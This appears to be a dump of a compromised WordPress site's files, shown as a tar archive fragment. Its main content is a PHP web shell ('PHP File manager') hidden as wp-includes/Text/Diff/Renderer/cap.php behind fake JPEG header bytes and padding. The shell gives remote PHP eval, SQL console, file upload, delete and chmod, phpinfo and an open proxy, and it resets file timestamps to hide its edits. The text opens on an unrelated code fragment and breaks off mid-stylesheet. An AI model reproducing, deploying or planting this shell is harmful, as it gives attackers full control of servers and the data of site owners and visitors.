				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCP